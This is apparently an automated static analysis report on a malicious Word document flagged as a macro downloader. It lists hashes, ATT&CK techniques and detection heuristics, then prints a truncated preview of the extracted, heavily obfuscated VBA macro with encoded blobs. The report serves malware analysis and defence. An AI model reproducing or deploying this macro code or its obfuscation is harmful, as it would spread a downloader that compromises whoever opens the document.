Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d20e4e9eb79b56bd…

MALICIOUS

Office (OLE)

213.0 KB Created: 2018-03-23 18:12:00 Authoring application: Microsoft Office Word First seen: 2019-01-31
MD5: 42f1d63443de9ade556c4b317e72de30 SHA-1: 7f6d0196eea781044d8ca4b88b9d057e52733004 SHA-256: d20e4e9eb79b56bd78fe75d98bdd925b61961107567eae33c3bc6a34b990c614
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro uses CreateObject and an AutoOpen function, indicating it's designed to execute code upon opening. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' and the presence of a VBA macro strongly suggest this file is a downloader for a second-stage payload. The macro itself is heavily obfuscated, but its structure points to malicious intent.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 62280 bytes
SHA-256: 0bc899e7cfafcb042c9b9a1ef742b2f03bbb51491fbb87834de154025f622c29
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ffbQisniUrjiz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "qdkzrJuDRRowV"
Function NjjCiJMRizzmkS()
On Error Resume Next
Select Case zkkjK
         Case 20497
            avEiC = Log(48878)
            UuGEnJ = Int(zVVHXJ)
            QAwZhB = 58057
      End Select
      If EraOTf Or 39746 Then
         tnNHsn = CLng(OiWiAO)
End If
pnanwdf = GKwYR("W5ui4iADkANgAwAGUAYQA0AGMAYgAzADMANwAwi", 6, 32)
Select Case YmASJ
         Case 91143
            FUXLi = Log(81323)
            dZpJi = Int(bUJCqd)
            iqKXd = 52664
      End Select
      If SnNBVZ Or 71290 Then
         TpvOzf = CLng(IhUWln)
End If
Select Case QjrDlk
         Case 44361
            wCKCXZ = Log(77464)
            kscro = Int(zBPzfj)
            NlLdwj = 32359
      End Select
      If Xvwak Or 33439 Then
         XcZoLA = CLng(VPnETm)
End If
hwBzAFwdwQ = GKwYR("iSOiUOZQA5AGEAZQA4ADIAYgA3ADQANgBiAGMAOAAwADIAMQBkADQAOABhADgAOAAwAGQAYgA4ADEAMgBhADQANgBjADcAOAA2ADIAMgBhAGIAZABmADgAZqD", 7, 113)
Select Case olEqui
         Case 31737
            YZqXzN = Log(93008)
            QEjBim = Int(qUvRPw)
            uQihiK = 83582
      End Select
      If pifYDA Or 96514 Then
         CiZiWz = CLng(kLBLOW)
End If
Select Case niPOO
         Case 15443
            lhViI = Log(73459)
            wsGAiV = Int(IZXFj)
            DzFGT = 66909
      End Select
      If KUijZD Or 90561 Then
         zUAESu = CLng(NWDlIu)
End If
Witntfjj = GKwYR("hNigBmAGQAMwAzADkAMwA1AGQAYwA5ADgAOAA3ADMANwA5ADAAYQBiADAAMQBkADkANwAwAGYAYwA3ADUAMQBkADMAMwA3ADAAMgAxADgAMAA1AGUAMQA4AGUAYgAwADgAMAAxAGEANABsmGs4", 4, 138)
Select Case EsIhHU
         Case 72890
            OOZLQc = Log(28399)
            biacI = Int(WANGO)
            iDiZff = 30003
      End Select
      If arwaAY Or 11561 Then
         fGdMwz = CLng(GhSWzW)
End If
Select Case iqhkC
         Case 35726
            jCKWWP = Log(56025)
            KXRoXM = Int(YGPDGY)
            kCOiwH = 92577
      End Select
      If nBtbzC Or 94606 Then
         GjlzBQ = CLng(njriS)
End If
ccWGXkmTiiQ = GKwYR("jdJKd,iAzAGUAMAA4ADIAOQAzADQAMwBmAGUANQA2ADUAYgBjADAAMQBhADkANwAyADQAOQA3AGUAMQAxAGUAOABmAGMAMAA5Asj", 8, 91)
Select Case UwLJDS
         Case 15566
            nTVki = Log(68379)
            vvNza = Int(JWVad)
            oaCFc = 57910
      End Select
      If TChSv Or 69801 Then
         pSNPMX = CLng(zskdhr)
End If
Select Case QLIIlH
         Case 19633
            IDJPa = Log(64225)
            oGJPBc = Int(JONWmI)
            uJOOt = 79565
      End Select
      If LKzNJm Or 38478 Then
         KWXmAT = CLng(LdwwWB)
End If
RdmwNcJXU = GKwYR("q@ZuJmADgAYjk", 6, 6)
Select Case vOUCON
         Case 87879
            Bhszcv = Log(22681)
            rpZOE = Int(zAHoMz)
            SvSlRP = 67613
      End Select
      If HXGBPV Or 82250 Then
         BrmAaE = CLng(znqFP)
End If
Select Case GhjDm
         Case 35640
            Uavuv = Log(81825)
            ZaMMX = Int(fHJQF)
            XvjOf = 91384
      End Select
      If RUTAD Or 51442 Then
         LGYCb = CLng(NsLwv)
End If
CkwtpKNlTvC = GKwYR("QTwwDBkAGQAMwAzADUAMAA3ADkAZgAzADYAMQBlAGIAOAA1ADMAZgBmADkANAA1ADQANQBlAGMAZgA0AGEAMABkADMANABiADcA'ur", 6, 95)
Select Case AzhzY
         Case 37565
            VuVkLP = Log(97778)
            YCFaJ = Int(BKZjHo)
            CiknS = 13085
      End Select
      If ZkUvjF Or 9887 Then
         pVMmch = CLng(qFWmnz)
End If
Select Case vuORfC
         Case 82612
            kNjinw = Log(25164)
            TWKjk = Int(hjzrHo)
            XnfPl = 76671
      End Select
      If KBZrF Or 57560 Then
         ruXsPc = CLng(rpSzHP)
End If
jnhEITjG = GKwYR("DLVQBjADAAZQAyADIAZgBiADYAMQA0ADQANQBlAGYAMwAxADUAMgAwAGYAOAAwADAAMQBkAGIAZABiADQAiz.", 4, 79)
Select Case iTouC
 
... (truncated)

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